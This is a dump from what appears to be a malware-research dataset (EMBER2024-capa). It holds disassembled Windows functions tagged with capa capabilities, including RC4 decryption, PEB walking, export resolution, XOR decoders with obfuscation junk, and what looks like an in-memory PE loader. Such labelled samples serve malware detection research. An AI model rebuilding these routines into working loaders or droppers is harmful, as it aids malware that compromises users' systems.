joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401c30
Capabilities:
Clear file content
Get common file path

Disassembly:
sub esp, 0x400
push esi
xor esi, esi
cmp dword [0x2457354], 0x400
push edi
jne 0x401c7c
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumResourceNamesA]
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_DrawStateW]
push esi
call fcn.004041a1
push esi
call fcn.00404828
push esi
push esi
call fcn.00404673
push esi
call fcn.004048de
add esp, 0x14
xor edi, edi
cmp edi, 0x16c76
jge 0x401c8e
push esi
push esi
call dword [sym.imp.USER32.dll_SetCaretPos]
push esi
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
push esi
call dword [sym.imp.KERNEL32.dll_LocalCompact]
cmp edi, 0x12e5c52
jg 0x401cb4
inc edi
cmp edi, 0x3003f
jl 0x401c7e
mov eax, dword [0x439b6c]
mov dword [0x2457354], eax
call fcn.0040192c
mov edi, 0x3078f
cmp dword [0x2457354], 0x51f
jne 0x401ce0
push esi
lea eax, [esp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
dec edi
jne 0x401cc8
pop edi
xor eax, eax
pop esi
add esp, 0x400
ret 0x10

Function at 0x4027b3
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
mov eax, 0x43274d
call fcn.004325c8
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
lea ecx, [esi + 4]
mov dword [esi], vtable.std::basic_streambuf_char__struct_std::char_traits_char__.0
call fcn.00403489
xor edi, edi
push 4
mov dword [ebp - 4], edi
call fcn.004048ed
mov ebx, eax
pop ecx
cmp ebx, edi
je 0x4027fb
call fcn.0040323d
mov dword [ebx], eax
call fcn.00402ffc
mov ecx, eax
call fcn.004011a5
mov eax, ebx
jmp 0x4027fd
xor eax, eax
mov dword [esi + 0x38], eax
lea ecx, [esi + 0x18]
mov dword [esi + 0x20], ecx
lea ecx, [esi + 0x1c]
mov dword [esi + 0x24], ecx
lea eax, [esi + 8]
mov dword [esi + 0x10], eax
lea ecx, [esi + 0x28]
mov dword [esi + 0x30], ecx
lea eax, [esi + 0xc]
mov dword [esi + 0x14], eax
lea ecx, [esi + 0x2c]
mov dword [esi + 0x34], ecx
mov dword [eax], edi
mov eax, dword [esi + 0x24]
mov dword [eax], edi
mov eax, dword [esi + 0x34]
mov dword [eax], edi
mov eax, dword [esi + 0x10]
mov dword [eax], edi
mov eax, dword [esi + 0x20]
mov dword [eax], edi
mov eax, dword [esi + 0x30]
mov dword [eax], edi
mov ecx, dword [ebp - 0xc]
mov dword [esi + 0x3c], edi
mov dword [esi + 0x40], edi
pop edi
mov dword [esi], vtable.std::basic_stringbuf_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov eax, esi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret 4

Function at 0x404f75
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x43899c]
jne 0x404f7f
repz ret
jmp fcn.0040b6ac
Function at 0x10002fc0
Capabilities:
Parse credit card information

Disassembly:
push esi
mov esi, eax
cmp dword [esi + 0x6c], 0
je 0x10002fcf
pop esi
jmp fcn.10003a70
mov eax, dword [esi + 0x60]
push ebx
push edi
call fcn.10005d80
mov ebx, eax
mov eax, dword [esi + 0x60]
call fcn.10005d80
cmp dword [esi + 0x14], 0
mov edi, eax
jne 0x10003021
mov eax, dword [esi + 4]
mov ecx, dword [esi + 8]
mov dword [esi + 0xc], eax
mov eax, esi
mov dword [esi + 0x10], ecx
mov dword [esi + 4], str.__:alnum:_____:alnum:___
mov dword [esi + 8], 0x100b9c40
call fcn.10003a70
call fcn.10002b20
mov eax, esi
call fcn.10003a70
cmp dword [esi + 0x14], 0
jne 0x10003021
mov dword [esi + 0x6c], ebx
pop edi
pop ebx
pop esi
ret

Function at 0x100037c0
Capabilities:
Parse credit card information

Disassembly:
push esi
mov esi, eax
call fcn.10003810
cmp dword [esi + 0x14], 0
jne 0x10003809
mov eax, dword [esi + 0x18]
test al, 4
je 0x100037eb
mov dword [esi + 0x28], 3
mov dword [esi + 0x20], 0x6e
mov eax, esi
pop esi
jmp fcn.10003a70
and al, 1
movsx eax, al
neg eax
sbb eax, eax
add eax, 2
mov dword [esi + 0x28], eax
mov dword [esi + 0x20], 0x6e
mov eax, esi
pop esi
jmp fcn.10003a70
pop esi
ret
Function at 0x100137df
Capabilities:
Generate random numbers via winapi

Disassembly:
call fcn.100b0a27
sub byte [eax], al
add byte [eax - 0x64846fe], al
sub esp, dword [ebx + 0x14]
xchg esp, eax
or esi, dword [ebp + 0xd508a03]
sbb eax, 0x6e64b0a0
dec ebx
jae 0x1001385c
dec edi
lds esi, [edx - 0x7b1f398d]
out dx, al
out dx, eax
ljmp 0xfdb3
mov ebp, esp
push esi
xor esi, esi
cmp dword [0x10120740], 1
je 0x10013871
mov esi, 0x8000ffff
jmp 0x10013899
push dword [ebp + 8]
push dword [ebp + 0xc]
push dword [0x10120730]
call dword [sym.imp.ADVAPI32.dll_CryptGenRandom]
test eax, eax
jne 0x100138be
call dword [sym.imp.kernel32.dll_GetLastError]
push eax
call fcn.1003dba9
mov esi, eax
test esi, esi
jge 0x100138be
mov eax, dword [0x1011faf4]
cmp eax, 0x1011faf4
je 0x100138be
test byte [eax + 0x3c], 2
je 0x100138be
push esi
push 0x100034d8
push 0xa
push dword [eax + 0x34]
push dword [eax + 0x30]
call fcn.1003dba9
mov eax, esi
pop esi
pop ebp
ret 8
Function at 0x100803f7
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x48
mov eax, dword [ebp + 8]
mov ecx, dword [0x100990d8]
add ecx, 0xffffd373
mov dword [0x100990d4], ecx
mov dword [ebp - 0x10], eax
call fcn.1008173f
xor ecx, ecx
mov edx, eax
mov esi, dword [eax + 0x3c]
mov dword [0x100990d4], 0x9dc
mov edi, dword [0x100990d8]
add edi, 0x21bf
mov dword [0x100990d8], edi
mov esi, dword [eax + esi + 0x78]
mov edi, edx
add edi, dword [eax + esi + 0x20]
mov dword [0x100990d4], 0xffffeeb0
mov dword [0x100990d8], 0x15d7
mov eax, dword [eax + esi + 0x18]
cmp eax, 0
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x24], ecx
je 0x1008059d
jmp 0x100804bd
mov eax, dword [ebp - 0x28]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x20]
add edx, 0x1c
mov esi, dword [ebp - 0x1c]
add esi, edx
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x30], esi
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x30]
add eax, dword [ecx]
mov edx, dword [ebp - 0x2c]
mov eax, dword [eax + edx*4]
mov dword [0x100990d4], 0x651
mov esi, dword [ebp - 0x1c]
add esi, eax
mov dword [ebp - 0x24], esi
jmp 0x1008059d
xor eax, eax
mov ecx, 0x15d7
mov edx, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x20]
add edx, dword [edx + esi + 0x24]
mov dword [ebp - 0x34], edx
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x3c], ecx
mov eax, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0x38]
mov edx, dword [ebp - 0x34]
xor esi, esi
mov edi, eax
add edi, 0xffffecbf
mov ebx, dword [ebp - 0x14]
mov ebx, dword [ebx + ecx*4]
mov dword [0x100990d4], edi
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x44], ecx
mov dword [ebp - 0x28], edx
mov dword [ebp - 0x48], ebx
mov dword [ebp - 0x4c], esi
mov eax, dword [ebp - 0x4c]
mov ecx, eax
mov edx, dword [ebp - 0x48]
add ecx, edx
mov esi, dword [ebp - 0x1c]
mov bl, byte [esi + ecx]
mov ecx, dword [ebp - 0x10]
mov bh, byte [ecx + eax]
cmp bl, bh
sete cl
cmp bl, 0
mov dword [ebp - 0x50], eax
mov byte [ebp - 0x51], bh
mov byte [ebp - 0x52], cl
je 0x10080556
mov eax, dword [ebp - 0x50]
add eax, 1
mov cl, byte [ebp - 0x51]
cmp cl, 0
setne dl
mov ch, byte [ebp - 0x52]
and ch, dl
cmp eax, 0x20
setb dl
and ch, dl
test ch, 1
mov dword [ebp - 0x4c], eax
jne 0x10080505
mov al, byte [ebp - 0x52]
test al, 1
jne 0x1008047e
jmp 0x10080563
xor eax, eax
mov ecx, dword [ebp - 0x40]
add ecx, 0xffffec71
mov dword [0x100990d8], ecx
mov edx, dword [ebp - 0x28]
add edx, 2
mov esi, dword [ebp - 0x44]
add esi, 1
mov edi, dword [ebp - 0x18]
cmp esi, edi
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x38], esi
mov dword [ebp - 0x34], edx
mov dword [ebp - 0x24], eax
jb 0x100804d7
mov eax, dword [ebp - 0x24]
add esp, 0x48
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x10080909
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x18
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
xor esi, esi
mov dword [0x100990e0], 0
mov byte [0x100990e4], 0
mov dword [0x100990dc], 0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x1c], esi
jmp 0x10080a10
mov eax, dword [ebp - 0x20]
mov ecx, 0x100
mov dword [0x100990e8], 0
mov dword [0x100990d8], 0x2651
mov edx, dword [0x100990e0]
mov esi, dword [ebp - 0x18]
movzx edi, byte [esi + eax]
add edi, edx
mov dword [ebp - 0x24], eax
xor edx, edx
mov ebx, dword [ebp - 0x10]
div ebx
mov esi, dword [ebp - 0x14]
movzx edx, byte [esi + edx]
add edi, edx
mov dword [0x100990e8], edi
mov dword [0x100990d4], 0x103
mov eax, edi
cdq
idiv ecx
mov dword [0x100990e0], edx
mov dword [0x100990d8], 0xfffff8df
mov ecx, dword [ebp - 0x18]
mov edi, dword [ebp - 0x24]
mov cl, byte [ecx + edi]
mov byte [0x100990e4], cl
mov dword [0x100990d8], 0x23a8
mov ecx, dword [ebp - 0x18]
mov cl, byte [ecx + edx]
mov edx, dword [ebp - 0x18]
mov byte [edx + edi], cl
mov cl, byte [0x100990e4]
mov edx, dword [0x100990e0]
mov esi, dword [ebp - 0x18]
mov byte [esi + edx], cl
mov dword [0x100990d4], 0x11a4
mov edx, dword [0x100990dc]
add edx, 1
mov dword [0x100990dc], edx
cmp edx, 0x100
mov dword [ebp - 0x20], edx
jl 0x10080949
jmp 0x10080a5e
mov eax, dword [ebp - 0x1c]
mov ecx, eax
mov dl, cl
mov ecx, dword [ebp - 0x18]
mov byte [ecx + eax], dl
mov dword [0x100990d4], 0x7ed
mov eax, dword [0x100990dc]
add eax, 1
mov dword [0x100990dc], eax
cmp eax, 0x100
mov dword [ebp - 0x1c], eax
jl 0x10080a10
xor eax, eax
mov dword [0x100990d8], 0x441
mov dword [0x100990dc], 0
mov dword [ebp - 0x20], eax
jmp 0x10080949
mov dword [0x100990d4], 0x12fc
add esp, 0x18
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x10080e56
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
xor edx, edx
mov dword [0x100990d4], 0x3eb
mov dword [0x100990d8], 0x840
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x2c], edx
mov eax, dword [ebp - 0x2c]
mov cl, byte [eax + 0x10084794]
mov dl, byte [eax + 0x10084765]
sub dl, cl
mov byte [ebp + eax - 0x20], dl
add eax, 1
cmp eax, 0xe
mov dword [ebp - 0x2c], eax
jne 0x10080e81
lea eax, [ebp - 0x20]
mov dword [0x100990d8], 0x16248
mov dword [0x100990d4], 0x4b4
mov dword [ebp - 0x30], eax
call fcn.100811ad
mov dword [esp], eax
mov eax, dword [ebp - 0x30]
mov dword [esp + 4], eax
call fcn.10080ca3
xor ecx, ecx
cmp eax, 0
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x38], ecx
je 0x10080f92
mov eax, dword [ebp - 0x34]
mov ecx, esp
mov dword [ecx + 0xc], 0x40
mov dword [ecx + 8], 0x1000
mov dword [ecx + 4], 0x6000
mov dword [ecx], 0
call eax
sub esp, 0x10
mov ecx, dword [0x100990d4]
add ecx, 0x2253
mov dword [0x100990d4], ecx
mov dword [esp], eax
mov ecx, dword [ebp - 0x24]
mov dword [esp + 4], ecx
mov dword [ebp - 0x3c], eax
call fcn.1008109d
xor eax, eax
mov ecx, dword [ebp - 0x3c]
mov word [ecx], 0x5a4d
mov dword [ecx + 0x3c], 0xc0
mov dword [0x100990d8], 0x13bc
mov dword [ecx + 0xc0], 0x4550
add ecx, 0xffc00000
mov edx, dword [ebp - 0x28]
mov dword [edx + 8], ecx
mov ecx, dword [ebp - 0x3c]
mov dword [edx + 0x28], ecx
mov dword [0x100990d4], 0xf7e
cmp ecx, 0
mov dword [ebp - 0x38], eax
je 0x10080f92
mov eax, dword [ebp - 0x3c]
add eax, 0x1241
mov dword [0x100990d8], 0x414
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x38]
add esp, 0x4c
pop ebp
ret
Function at 0x1008138e
Capabilities:
Get number of processors

Disassembly:
push ebp
mov ebp, esp
push esi
sub esp, 0x20
mov dword [ebp - 8], 0
mov eax, dword fs:[0x30]
mov dword [ebp - 8], eax
xor ecx, ecx
mov dword [0x100990d8], 0x1ec2
mov edx, dword [ebp - 8]
mov edx, dword [edx + 0x10]
mov edx, dword [edx + 0x3c]
mov esi, dword [0x100990d4]
add esi, 0xffffd90d
mov dword [0x100990d4], esi
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x10], edx
mov dword [ebp - 0x14], ecx
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x10]
cmp word [ecx + eax*2], 0
mov edx, eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], edx
je 0x10081402
mov eax, dword [ebp - 0x18]
add eax, 1
cmp eax, 0x104
mov ecx, eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x1c], eax
jl 0x100813d5
mov eax, dword [ebp - 0x1c]
mov dword [0x100990d8], 0x1559
mov dword [0x100990d4], 0xff6
mov ecx, dword [ebp - 0x10]
cmp word [ecx + eax*2 - 0x1a], 0x6c
mov dword [ebp - 0x20], eax
jne 0x1008148a
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x20]
cmp word [eax + ecx*2 - 0x18], 0x6f
jne 0x1008148a
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x20]
cmp word [eax + ecx*2 - 0x16], 0x61
jne 0x1008148a
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x20]
cmp word [eax + ecx*2 - 0x14], 0x64
jne 0x1008148a
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x20]
cmp word [eax + ecx*2 - 0x12], 0x64
jne 0x1008148a
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x20]
cmp word [eax + ecx*2 - 0x10], 0x6c
jne 0x1008148a
mov eax, 1
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 0x20]
cmp word [ecx + edx*2 - 0xe], 0x6c
mov dword [ebp - 0x24], eax
je 0x10081491
xor eax, eax
mov dword [ebp - 0x24], eax
jmp 0x10081491
mov eax, dword [ebp - 0x24]
add esp, 0x20
pop esi
pop ebp
ret
Function at 0x100818b4
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x30
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
mov edi, 0xfffff521
xor ebx, ebx
mov dword [0x100990d4], 0x56f
mov dword [0x100990dc], 0
mov dword [0x100990e0], 0
mov dword [0x100990ec], 0
cmp eax, 0
mov dword [ebp - 0x10], eax
mov eax, ebx
mov dword [ebp - 0x14], eax
mov eax, ebx
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x2c], edi
je 0x10081a5a
jmp 0x10081933
mov eax, dword [0x100990d4]
add eax, 0xffffefb2
mov dword [ebp - 0x2c], eax
jmp 0x10081a5a
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp - 0x14]
mov esi, 0x100
mov dword [0x100990d8], 0x1770
add ecx, 1
mov dword [ebp - 0x30], eax
mov eax, ecx
mov dword [ebp - 0x34], edx
cdq
idiv esi
mov dword [0x100990dc], edx
mov ecx, dword [ebp - 0x24]
movzx edi, byte [ecx + edx]
mov ebx, dword [ebp - 0x34]
add edi, ebx
mov eax, edi
mov dword [ebp - 0x38], edx
cdq
idiv esi
mov dword [0x100990e0], edx
mov esi, dword [ebp - 0x38]
mov cl, byte [ecx + esi]
mov byte [0x100990e4], cl
mov edi, dword [ebp - 0x24]
mov cl, byte [edi + edx]
mov byte [edi + esi], cl
mov edx, dword [0x100990d4]
add edx, 0xffffdfde
mov dword [0x100990d8], edx
mov cl, byte [0x100990e4]
mov edx, dword [0x100990e0]
mov byte [edi + edx], cl
mov edx, dword [0x100990d4]
add edx, 0x264e
mov dword [0x100990d4], edx
mov edx, dword [0x100990dc]
movzx edx, byte [edi + edx]
mov ebx, dword [0x100990e0]
movzx ebx, byte [edi + ebx]
add ebx, edx
and ebx, 0xff
mov dword [0x100990ec], ebx
mov dword [0x100990d4], 0x2274
mov cl, byte [edi + ebx]
mov edx, dword [ebp - 0x1c]
mov ebx, dword [ebp - 0x30]
mov ch, byte [edx + ebx]
mov byte [0x100990f1], ch
mov byte [0x100990f2], cl
xor ch, cl
mov byte [0x100990f0], ch
mov dword [0x100990d8], 0x2bc2
mov dword [0x100990d4], 0x422
mov edx, dword [ebp - 0x20]
mov byte [edx + ebx], ch
add ebx, 1
mov edx, dword [ebp - 0x10]
cmp ebx, edx
mov dword [ebp - 0x3c], ebx
je 0x10081921
mov eax, dword [0x100990dc]
mov ecx, dword [0x100990e0]
mov edx, dword [ebp - 0x3c]
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x28], edx
jmp 0x10081933
mov eax, dword [ebp - 0x2c]
mov dword [0x100990d4], eax
add esp, 0x30
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x10081a6a
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x98
mov eax, dword [0x100990d4]
add eax, 0xfffff5ce
mov dword [0x100990d8], eax
call fcn.10001087
xor ecx, ecx
cmp eax, 0
mov dword [esp + 0x24], ecx
jne 0x10081be0
lea eax, [esp + 0x88]
lea ecx, [esp + 0x28]
mov dword [0x100990d4], 0x1bb6
mov dword [esp], eax
mov dword [esp + 0x20], ecx
call fcn.100805a8
lea ecx, [0x10080f9a]
mov edx, dword [esp + 0x88]
mov dword [esp + 0x84], edx
mov dword [esp + 0x70], 0x123a00
mov edx, dword [0x100990c0]
mov dword [esp + 0x5c], edx
mov edx, dword [0x100990c4]
mov dword [esp + 0x40], edx
mov edx, dword [0x100990c8]
mov dword [esp + 0x64], edx
mov edx, dword [0x100990cc]
mov dword [esp + 0x28], edx
mov dword [0x100990d8], 0x17d1
mov edx, dword [0x100990d0]
mov dword [esp + 0x54], edx
mov dword [0x100990d4], 0x4b6
mov dword [esp + 0x1c], eax
mov dword [esp + 0x18], ecx
mov eax, dword [esp + 0x18]
cmp word [eax], 0x5a4d
mov dword [esp + 0x14], eax
jne 0x10081b49
mov eax, dword [esp + 0x14]
mov ecx, dword [eax + 0x3c]
cmp dword [eax + ecx], 0x4550
mov dword [esp + 0x10], ecx
je 0x10081b5d
mov eax, dword [esp + 0x14]
add eax, 0xfffff000
and eax, 0xfffff000
mov dword [esp + 0x18], eax
jmp 0x10081b26
mov eax, dword [esp + 0x14]
mov dword [esp + 0x38], eax
mov dword [0x100990d4], 0x9dc
mov dword [0x100990d8], 0x3990
mov ecx, dword [esp + 0x10]
mov edx, dword [eax + ecx + 0x50]
mov dword [esp + 0x44], edx
call fcn.1008138e
xor ecx, ecx
cmp eax, 0
mov dword [esp + 0xc], ecx
jne 0x10081bd8
lea eax, [esp + 0x28]
mov dword [0x100990d4], 0x1644
mov ecx, dword [esp + 0x90]
mov dword [esp], eax
mov dword [esp + 4], ecx
call fcn.10080e56
mov ecx, esp
lea edx, [esp + 0x28]
mov dword [ecx], edx
call eax
sub esp, 4
mov eax, 1
mov dword [0x100990d8], 0xe1d
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0xc]
mov dword [esp + 0x24], eax
mov eax, dword [esp + 0x24]
mov esp, ebp
pop ebp
ret
Function at 0x1b443699
Capabilities:
Write file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
xor ebx, ebx
xor esi, esi
push edi
mov edi, dword [ebp + 8]
mov dword [ebp - 4], esi
cmp edi, dword [esi*8 + 0x1b4519b8]
je 0x1b4436bf
inc esi
cmp esi, 0x17
mov dword [ebp - 4], esi
jb 0x1b4436ad
cmp esi, 0x17
jae 0x1b443819
push 3
call fcn.1b44888b
cmp eax, 1
pop ecx
je 0x1b4437e3
push 3
call fcn.1b44888b
test eax, eax
pop ecx
jne 0x1b4436f2
cmp dword [0x1b454808], 1
je 0x1b4437e3
cmp edi, 0xfc
je 0x1b443819
push 0x1b443864
mov edi, 0x314
push edi
mov esi, 0x1b454b48
push esi
call fcn.1b41af8b
add esp, 0xc
test eax, eax
je 0x1b443728
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.1b45ddef
add esp, 0x14
mov byte [0x1b454c65], bl
push 0x104
mov ebx, 0x1b454b61
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x1b44376b
push 0x1b44384c
push 0x2fb
push ebx
call fcn.1b41af8b
add esp, 0xc
test eax, eax
je 0x1b44376b
xor eax, eax
push eax
push eax
push eax
push eax
push eax
call fcn.1b440095
add esp, 0x14
push ebx
push edi
push esi
call fcn.1b443ffc
add esp, 0xc
xor ebx, ebx
test eax, eax
je 0x1b443789
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.1b440095
add esp, 0x14
push 0x1b443848
push edi
push esi
call fcn.1b443ffc
add esp, 0xc
test eax, eax
je 0x1b4437a9
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.1b440095
add esp, 0x14
mov eax, dword [ebp - 4]
push dword [eax*8 + 0x1b4519bc]
push edi
push esi
call fcn.1b443ffc
add esp, 0xc
test eax, eax
je 0x1b4437ce
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.1b440095
add esp, 0x14
push 0x12010
push 0x1b443820
push esi
call fcn.1b44867c
add esp, 0xc
jmp 0x1b443819
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov edi, eax
cmp edi, ebx
je 0x1b443819
cmp edi, 0xffffffff
je 0x1b443819
mov edx, dword [esi*8 + 0x1b4519bc]
mov ecx, edx
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1b443802
push ebx
lea eax, [ebp - 8]
push eax
sub ecx, esi
push ecx
push edx
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1b458329
Capabilities:
Encode data using xor

Disassembly:
call 0x1b4582a2
sub bl, byte [ebx]
mov eax, 0x64f7f691
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
cld
test edx, ebx
or eax, dword [ebx - 0x178f73c]
xor esi, 0xde5af04
add eax, esi
lea esp, [esp - 0xe]
mov esi, dword [esp + 0xe]
lea esp, [esp + 0x12]
xor esi, dword [esp]
push eax
sub eax, 0xf24f2b00
mov eax, esp
or dword [eax - 0x22], ebx
pop eax
jmp 0x1b4582d2
xor dword [esp], esi
xor eax, 0
mov dword [esp], esi
add esp, 4
add esi, dword [ebp + 8]
push ebp
add ebp, 0xc
mov ecx, dword [ebp]
pop ebp
ja 0x1b4582ee
xor edx, 0
jmp 0x1b4582f9
xor edx, edx
jmp 0x1b458310
jmp 0x1b45831c
xor eax, eax
push 0x8427d7c0
call 0x1b458329
stc
add esp, 8
add esi, 0
cmp ecx, 0
je 0x1b458365
mov ebx, dword [ebp + 0x10]
mov edi, dword [ebp + 0x14]
add bl, dl
xor byte [esi], bl
mov dl, byte [esi]
inc esi
add ebx, edi
rol ebx, 8
dec ecx
jne 0x1b45833e
lea esp, [esp - 4]
xchg dword [esp], ebx
mov ebx, dword [esp]
or eax, edx
xor eax, eax
add eax, dword [esp]
add esp, 4
pop esi
pop edi
pop ebx
xchg dword [esp], ecx
mov dword [esp], ecx
lea esp, [esp + 4]
pop edx
leave
je 0x1b45837c
add eax, 0
jno 0x1b458381
add esi, 0
ret 0x10

Function at 0x1b4590ea
Capabilities:
Encode data using xor

Disassembly:
lea esp, [esp - 0x63]
mov dword [esp + 0x5f], ebx
lea esp, [esp + 0x5f]
mov ebx, 0x8dff8662
xchg dword [esp], ebx
and dword [esp], ebp
jmp 0x1b45910c
add ebx, 0
or dword [esp], ebp
mov ebp, esp
push eax
push edi
lea esp, [esp - 4]
xchg dword [esp], ecx
pop ecx
lea esp, [esp - 4]
mov edi, dword [ebp + 8]
mov eax, dword [ebp + 0xc]
cmp edi, dword [ebp + 0x14]
ja 0x1b4592ae
cmp edi, dword [ebp + 0x10]
jb 0x1b4592ae
lea esi, [esi]
sub esi, 0
push dword [ebp + 0x14]
push dword [ebp + 0x10]
sub esp, 0x6a
mov dword [esp + 0x66], 0xc2ccbc3c
add esp, 0x66
mov dword [esp], edi
or edi, 0xffffffff
and edi, 0xcedcf875
xor edi, 0xce9c140e
xchg dword [esp], edi
push edx
mov edx, esp
xor edx, 0
add edx, 0
push ebx
lea ebx, [edx + 4]
mov dword [ebx], eax
pop ebx
pop edx
push edi
call fcn.1b458bd6
inc edi
jmp 0x1b459195
jmp 0x1b4591a2
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push edi
call fcn.1b458bd6
inc edi
and dword [esp - 0x4e], ecx
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push edi
call fcn.1b458bd6
inc edi
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push 0
sub esi, 0
add dword [esp], edx
xor edx, edx
je 0x1b4591f6
sub bl, byte [ebx]
mov eax, 0x64f7f691
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
cld
test edx, ebx
or edx, 0x13e27bd2
push ebx
add ebx, esi
mov ebx, esp
xor dword [ebx - 0x2a], edi
fdiv qword [ecx]
jnp 0x1b4591da
pop ebx
xor edx, 0x1b7d0cc
add edx, 0xedeb415d
xchg dword [esp], edx
push edx
mov edx, esp
call int.1b459224
add dword [eax], 0x39
jle 0x1b459200
sub al, 0xf5
mov ch, al
call fcn.1b459239
mov dword [edi], eax
pop ecx
pop edi
pop eax
leave
ret 0x10